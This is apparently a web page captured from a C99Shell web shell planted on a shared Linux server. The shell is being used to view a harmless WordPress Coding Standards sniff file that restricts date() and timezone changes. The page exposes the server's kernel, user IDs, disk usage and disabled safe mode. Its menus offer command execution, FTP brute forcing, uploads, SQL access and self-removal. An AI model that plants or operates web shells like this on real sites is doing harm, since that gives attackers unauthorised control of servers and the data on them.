!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-coding-standards/wpcs/WordPress/Sniffs/DateTime/   drwxr-xr-x
Free 711.45 GB of 879.6 GB (80.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     RestrictedFunctionsSniff.php (1.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * WordPress Coding Standard.
 *
 * @package WPCS\WordPressCodingStandards
 * @link    https://github.com/WordPress/WordPress-Coding-Standards
 * @license https://opensource.org/licenses/MIT MIT
 */

namespace WordPressCS\WordPress\Sniffs\DateTime;

use WordPressCS\WordPress\AbstractFunctionRestrictionsSniff;

/**
 * Forbids the use of various native DateTime related PHP/WP functions and suggests alternatives.
 *
 * @since 2.2.0
 */
final class RestrictedFunctionsSniff extends AbstractFunctionRestrictionsSniff {

    /**
     * Groups of functions to restrict.
     *
     * @return array
     */
    public function getGroups() {
        return array(

            /*
             * Disallow the changing the timezone.
             *
             * @link https://vip.wordpress.com/documentation/vip-go/code-review-blockers-warnings-notices/#manipulating-the-timezone-server-side
             */
            'timezone_change' => array(
                'type'      => 'error',
                'message'   => 'Using %s() and similar isn\'t allowed, instead use WP internal timezone support.',
                'functions' => array(
                    'date_default_timezone_set',
                ),
            ),

            /*
             * Use gmdate(), not date().
             * Don't rely on the current PHP time zone as it might have been changed by third party code.
             *
             * @link https://make.wordpress.org/core/2019/09/23/date-time-improvements-wp-5-3/
             * @link https://core.trac.wordpress.org/ticket/46438
             * @link https://github.com/WordPress/WordPress-Coding-Standards/issues/1713
             */
            'date' => array(
                'type'      => 'error',
                'message'   => '%s() is affected by runtime timezone changes which can cause date/time to be incorrectly displayed. Use gmdate() instead.',
                'functions' => array(
                    'date',
                ),
            ),
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0128 ]--